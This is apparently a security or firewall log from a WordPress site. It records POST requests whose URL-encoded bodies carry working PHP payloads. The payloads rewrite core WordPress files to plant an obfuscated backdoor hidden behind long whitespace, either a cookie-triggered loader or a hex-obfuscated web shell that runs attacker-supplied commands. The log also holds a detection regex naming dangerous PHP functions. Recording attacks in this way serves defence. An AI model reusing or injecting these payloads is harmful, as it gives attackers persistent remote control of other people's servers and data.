0=71\n\nlj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:29","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:3293\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:47:32","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:3270\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nhk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:35","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:9363\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvISZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nTS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%252